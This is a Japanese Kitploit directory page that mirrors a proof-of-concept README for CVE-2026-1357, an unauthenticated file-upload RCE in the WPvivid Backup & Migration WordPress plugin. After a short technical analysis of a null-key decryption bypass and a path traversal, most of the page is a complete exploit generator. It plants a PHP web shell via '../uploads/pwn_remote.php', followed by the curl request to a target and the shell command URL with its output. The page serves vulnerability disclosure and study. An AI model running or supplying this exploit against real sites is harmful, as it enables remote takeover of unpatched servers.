Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/lucasm0ntes/poc-cve-2026-1357
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHublucasm0ntes/poc-cve-2026-1357

POC-CVE-2026-1357

CVE-2026-1357の概念実証エクスプロイト。WPvivid Backup & Migrationプラグインにおける、認証なしの任意ファイルアップロードによるRCEに至る脆弱性であり、エクスプロイト生成ツールと実行手順を含む。

リポジトリを見る
16437ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-1357 WPvivid Backup & Migration RCE PoC

発見者: Lucas Montes (NiRoX)
脆弱性: 認証不要の任意ファイルアップロードによるリモートコード実行(RCE)
CVE ID: CVE-2026-1357
CVSS: Critical(9.8)
ステータス: バージョン 0.9.124 でパッチ適用済み


概要

このリポジトリには、WPvivid Backup & Migration WordPressプラグイン(バージョン <= 0.9.123)における重大な脆弱性の分析と概念実証(PoC)が含まれています。

この脆弱性により、認証されていない攻撃者がサーバー上に任意のファイル(PHPシェルなど)をアップロードでき、即座に**リモートコード実行(RCE)**につながります。これは、暗号化エラー処理における論理的な欠陥(Fail-Open)とパストラバーサル脆弱性が組み合わさって発生します。

技術的分析

この脆弱性は、プラグインが wpvivid_action=send_to_site フックを介してリモートバックアップ転送リクエストを処理する方法に存在します。攻撃チェーンは、連携して動作する2つの異なるバグで構成されています。

1. 暗号化のFail-Open(バイパス)

プラグインが転送リクエストを受信すると、openssl_private_decrypt() を使用して提供されたセッションキーの復号を試みます。

  • 欠陥: 不正な形式または偽のRSAキーが提供された場合、関数は false を返します。プラグインのロジックはこのブール戻り値をチェックせず、AES暗号を初期化するために false を phpseclib ライブラリに渡し続けます。
  • 結果: 脆弱なバージョンの phpseclib では、false または空のキーはnullバイトの文字列(\0\0...)として扱われます。これにより、攻撃者は128ビットのnullキーを使用して悪意のあるペイロードを暗号化し、実際の秘密キーの必要性を回避できます。

2. パストラバーサル(RCE)

ペイロードがnullキーを使用して正常に「復号」されると、プラグインはJSONコンテンツを処理します。

  • 欠陥: JSONペイロード内の name パラメータはサニタイズされていません。
  • 結果: 攻撃者はディレクトリトラバーサル文字(../)を使用して、プラグインの制限されたバックアップディレクトリ(通常は .htaccess で保護されています)から脱出し、悪意のあるPHPファイルを公開の wp-content/uploads/ ディレクトリに書き込むことができます。

制約事項:

  • 注記: 開示で明確にされているように、この脆弱性はプラグイン設定で「キー」が生成され、まだ期限切れになっていない場合にのみ悪用可能です。wpvivid_api_token が期限切れになると、脆弱なコードパスによりリクエストは静かに失敗します。

概念実証(PoC)

前提条件

このエクスプロイトは phpseclib(v1)の動作に依存しています。ジェネレータをローカルで実行するには、ライブラリファイルが必要です。

root@kitploit:~
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php

エクスプロイトジェネレータ(exploit.php)

このスクリプトはNullキーで暗号化されたペイロードを作成し、シェルをアップロードするためのパストラバーサルを含みます。

root@kitploit:~
<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

// 1. Initialize Rijndael (AES) 
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128); 

// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));

// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';

// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
    "backup_id" => "1",
    "name" => "../uploads/pwn_remote.php", 
    "data" => base64_encode($shell_content),
    "offset" => 0,
    "file_size" => strlen($shell_content),
    "total_size" => strlen($shell_content),
    "index" => 0,
    "md5" => md5($shell_content),
    "type" => "backup",
    "status" => "running"
];

// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));

// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC"; 
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT) 
         . $fake_key 
         . str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT) 
         . $encrypted;

echo base64_encode($payload);
?>

攻撃の実行

  1. ペイロードの生成:
root@kitploit:~
PAYLOAD=$(php exploit.php)

  1. リクエストの送信:
root@kitploit:~
curl -i -s -X POST 'http://TARGET-URL/' \
  -d 'wpvivid_action=send_to_site' \
  --data-urlencode "wpvivid_content=$PAYLOAD"

  1. RCEの確認: 成功した場合、シェルは次の場所でアクセス可能になります:
root@kitploit:~
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id

結果:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ツールをダウンロード